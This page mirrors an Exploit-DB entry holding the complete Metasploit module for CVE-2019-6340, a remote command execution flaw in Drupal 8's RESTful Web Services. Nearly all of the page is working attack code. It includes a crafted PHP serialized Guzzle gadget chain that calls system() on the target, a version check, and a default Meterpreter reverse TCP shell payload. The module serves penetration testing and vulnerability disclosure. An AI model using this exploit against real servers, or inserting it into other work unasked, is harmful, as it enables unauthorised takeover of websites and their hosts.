Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit)

  • 作者: Metasploit
    日期: 2019-03-07
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/46510/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    
    # NOTE: All (four) Web Services modules need to be enabled
    Rank = NormalRanking
    
    include Msf::Exploit::Remote::HTTP::Drupal
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'Drupal RESTful Web Services unserialize() RCE',
    'Description'=> %q{
    This module exploits a PHP unserialize() vulnerability in Drupal RESTful
    Web Services by sending a crafted request to the /node REST endpoint.
    
    As per SA-CORE-2019-003, the initial remediation was to disable POST,
    PATCH, and PUT, but Ambionics discovered that GET was also vulnerable
    (albeit cached). Cached nodes can be exploited only once.
    
    Drupal updated SA-CORE-2019-003 with PSA-2019-02-22 to notify users of
    this alternate vector.
    
    Drupal < 8.5.11 and < 8.6.10 are vulnerable.
    },
    'Author' => [
    'Jasper Mattsson', # Discovery
    'Charles Fol', # PoC
    'Rotem Reiss', # Module
    'wvu'# Module
    ],
    'References' => [
    ['CVE', '2019-6340'],
    ['URL', 'https://www.drupal.org/sa-core-2019-003'],
    ['URL', 'https://www.drupal.org/psa-2019-02-22'],
    ['URL', 'https://www.ambionics.io/blog/drupal8-rce'],
    ['URL', 'https://github.com/ambionics/phpggc'],
    ['URL', 'https://twitter.com/jcran/status/1099206271901798400']
    ],
    'DisclosureDate' => '2019-02-20',
    'License'=> MSF_LICENSE,
    'Platform' => ['php', 'unix'],
    'Arch' => [ARCH_PHP, ARCH_CMD],
    'Privileged' => false,
    'Targets'=> [
    ['PHP In-Memory',
    'Platform' => 'php',
    'Arch' => ARCH_PHP,
    'Type' => :php_memory,
    'Payload'=> {'BadChars' => "'"},
    'DefaultOptions' => {
    'PAYLOAD'=> 'php/meterpreter/reverse_tcp'
    }
    ],
    ['Unix In-Memory',
    'Platform' => 'unix',
    'Arch' => ARCH_CMD,
    'Type' => :unix_memory,
    'DefaultOptions' => {
    'PAYLOAD'=> 'cmd/unix/generic',
    'CMD'=> 'id'
    }
    ]
    ],
    'DefaultTarget'=> 0,
    'Notes'=> {
    'Stability'=> [CRASH_SAFE],
    'SideEffects'=> [IOC_IN_LOGS],
    'Reliablity' => [UNRELIABLE_SESSION], # When using the GET method
    'AKA'=> ['SA-CORE-2019-003']
    }
    ))
    
    register_options([
    OptEnum.new('METHOD', [true, 'HTTP method to use', 'POST',
    ['GET', 'POST', 'PATCH', 'PUT']]),
    OptInt.new('NODE',[false, 'Node ID to target with GET method', 1])
    ])
    
    register_advanced_options([
    OptBool.new('ForceExploit', [false, 'Override check result', false])
    ])
    end
    
    def check
    checkcode = CheckCode::Unknown
    
    version = drupal_version
    
    unless version
    vprint_error('Could not determine Drupal version')
    return checkcode
    end
    
    if version.to_s !~ /^8\b/
    vprint_error("Drupal #{version} is not supported")
    return CheckCode::Safe
    end
    
    vprint_status("Drupal #{version} targeted at #{full_uri}")
    checkcode = CheckCode::Detected
    
    changelog = drupal_changelog(version)
    
    unless changelog
    vprint_error('Could not determine Drupal patch level')
    return checkcode
    end
    
    case drupal_patch(changelog, 'SA-CORE-2019-003')
    when nil
    vprint_warning('CHANGELOG.txt no longer contains patch level')
    when true
    vprint_warning('Drupal appears patched in CHANGELOG.txt')
    checkcode = CheckCode::Safe
    when false
    vprint_good('Drupal appears unpatched in CHANGELOG.txt')
    checkcode = CheckCode::Appears
    end
    
    # Any further with GET and we risk caching the targeted node
    return checkcode if meth == 'GET'
    
    # NOTE: Exploiting the vuln will move us from "Safe" to Vulnerable
    token = Rex::Text.rand_text_alphanumeric(8..42)
    res = execute_command("echo #{token}")
    
    return checkcode unless res
    
    if res.body.include?(token)
    vprint_good('Drupal is vulnerable to code execution')
    checkcode = CheckCode::Vulnerable
    end
    
    checkcode
    end
    
    def exploit
    if [CheckCode::Safe, CheckCode::Unknown].include?(check)
    if datastore['ForceExploit']
    print_warning('ForceExploit set! Exploiting anyway!')
    else
    fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
    end
    end
    
    if datastore['PAYLOAD'] == 'cmd/unix/generic'
    print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic')
    # XXX: Naughty datastore modification
    datastore['DUMP_OUTPUT'] = true
    end
    
    case target['Type']
    when :php_memory
    # XXX: This will spawn a *very* obvious process
    execute_command("php -r '#{payload.encoded}'")
    when :unix_memory
    execute_command(payload.encoded)
    end
    end
    
    def execute_command(cmd, opts = {})
    vprint_status("Executing with system(): #{cmd}")
    
    # https://en.wikipedia.org/wiki/Hypertext_Application_Language
    hal_json = JSON.pretty_generate(
    'link'=> [
    'value' => 'link',
    'options' => phpggc_payload(cmd)
    ],
    '_links'=> {
    'type'=> {
    'href'=> vhost_uri
    }
    }
    )
    
    print_status("Sending #{meth} to #{node_uri} with link #{vhost_uri}")
    
    res = send_request_cgi({
    'method' => meth,
    'uri'=> node_uri,
    'ctype'=> 'application/hal+json',
    'vars_get' => {'_format' => 'hal_json'},
    'data' => hal_json
    }, 3.5)
    
    return unless res
    
    case res.code
    # 401 isn't actually a failure when using the POST method
    when 200, 401
    print_line(res.body) if datastore['DUMP_OUTPUT']
    if meth == 'GET'
    print_warning('If you did not get code execution, try a new node ID')
    end
    when 404
    print_error("#{node_uri} not found")
    when 405
    print_error("#{meth} method not allowed")
    when 422
    print_error('VHOST may need to be set')
    when 406
    print_error('Web Services may not be enabled')
    else
    print_error("Unexpected reply: #{res.inspect}")
    end
    
    res
    end
    
    # phpggc Guzzle/RCE1 system id
    def phpggc_payload(cmd)
    (
    # http://www.phpinternalsbook.com/classes_objects/serialization.html
    <<~EOF
    O:24:"GuzzleHttp\\Psr7\\FnStream":2:{
    s:33:"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods";a:1:{
    s:5:"close";a:2:{
    i:0;O:23:"GuzzleHttp\\HandlerStack":3:{
    s:32:"\u0000GuzzleHttp\\HandlerStack\u0000handler";
    s:cmd_len:"cmd";
    s:30:"\u0000GuzzleHttp\\HandlerStack\u0000stack";
    a:1:{i:0;a:1:{i:0;s:6:"system";}}
    s:31:"\u0000GuzzleHttp\\HandlerStack\u0000cached";
    b:0;
    }
    i:1;s:7:"resolve";
    }
    }
    s:9:"_fn_close";a:2:{
    i:0;r:4;
    i:1;s:7:"resolve";
    }
    }
    EOF
    ).gsub(/\s+/, '').gsub('cmd_len', cmd.length.to_s).gsub('cmd', cmd)
    end
    
    def meth
    datastore['METHOD'] || 'POST'
    end
    
    def node
    datastore['NODE'] || 1
    end
    
    def node_uri
    if meth == 'GET'
    normalize_uri(target_uri.path, '/node', node)
    else
    normalize_uri(target_uri.path, '/node')
    end
    end
    
    def vhost_uri
    full_uri(
    normalize_uri(target_uri.path, '/rest/type/shortcut/default'),
    vhost_uri: true
    )
    end
    
    end